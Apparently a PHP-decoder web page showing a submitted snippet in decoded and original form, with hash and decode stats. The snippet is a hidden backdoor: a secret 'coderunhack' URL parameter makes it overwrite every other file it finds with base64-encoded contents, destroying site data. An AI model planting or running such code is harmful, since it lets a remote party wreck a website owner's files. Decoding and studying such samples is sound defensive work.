Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

error_reporting(0); if($_GET['coderunhack']==true && isset($_GET['loop']) && is_numeric($..

Decoded Output download

<?  error_reporting(0); 
if($_GET['coderunhack']==true && isset($_GET['loop']) && is_numeric($_GET['loop'])) 
{ 
$mydir = getcwd(); 
$alldirectories=count(explode("\",$mydir)); 
 
 
$newarray=[]; 
$looprun=$_GET['loop']; 
 
for ($i=0; $i < $looprun; $i++) {  
    $newarray=array_merge($newarray,removedir($i)); 
} 
 
$finalfiles=[]; 
foreach ($newarray as $key => $value) { 
    if(!is_dir($value)) 
    { 
        $finalfiles[]=$value; 
    } 
} 
 
array_map( 'rewrite', array_filter((array) $finalfiles ) ); 
} 
 
function rewrite($filename){ 
 //echo $filename."<br>"; 
if(basename($filename)!=basename(__FILE__)) 
{ 
    //echo $filename."<br>"; 
 $encoded=base64_encode(file_get_contents($filename)); 
 //$append = file_put_contents($filename, $encoded.PHP_EOL , FILE_APPEND | LOCK_EX); 
 $replace = file_put_contents($filename, $encoded.PHP_EOL); 
} 
} 
 ?>

Did this file decode correctly?

Original Code

error_reporting(0);
if($_GET['coderunhack']==true && isset($_GET['loop']) && is_numeric($_GET['loop']))
{
$mydir = getcwd();
$alldirectories=count(explode("\\",$mydir));


$newarray=[];
$looprun=$_GET['loop'];

for ($i=0; $i < $looprun; $i++) { 
    $newarray=array_merge($newarray,removedir($i));
}

$finalfiles=[];
foreach ($newarray as $key => $value) {
    if(!is_dir($value))
    {
        $finalfiles[]=$value;
    }
}

array_map( 'rewrite', array_filter((array) $finalfiles ) );
}

function rewrite($filename){
 //echo $filename."<br>";
if(basename($filename)!=basename(__FILE__))
{
    //echo $filename."<br>";
 $encoded=base64_encode(file_get_contents($filename));
 //$append = file_put_contents($filename, $encoded.PHP_EOL , FILE_APPEND | LOCK_EX);
 $replace = file_put_contents($filename, $encoded.PHP_EOL);
}
}

Function Calls

None

Variables

None

Stats

MD5 9be652999df7ae24551235ee16fad40b
Eval Count 0
Decode Time 34 ms